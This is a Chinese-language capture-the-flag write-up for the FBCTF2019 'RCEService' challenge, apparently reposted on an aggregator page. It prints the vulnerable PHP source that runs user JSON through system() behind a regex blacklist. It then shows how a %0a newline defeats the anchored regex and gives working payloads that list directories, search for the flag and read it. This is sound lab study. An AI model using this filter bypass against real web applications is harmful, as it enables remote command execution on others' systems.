欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 国际 > [FBCTF2019]RCEService

[FBCTF2019]RCEService

2025/11/26 4:59:30 来源:https://blog.csdn.net/2302_80472909/article/details/142068403  浏览:    关键词:[FBCTF2019]RCEService

在这里插入图片描述源码

<?php
putenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}
?>

putenv('PATH=/home/rceservice/jail');
改变了环境变量, 也就无法直接使用cat这样的命令了
需要一个完整的路径比如 /bin/cat
可以在自己的vps上面在bin目录下找到这些命令

preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问
所以就是{%0a"cmd": "命令"%0a}的形式
列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}
没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}
在这里插入图片描述
拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词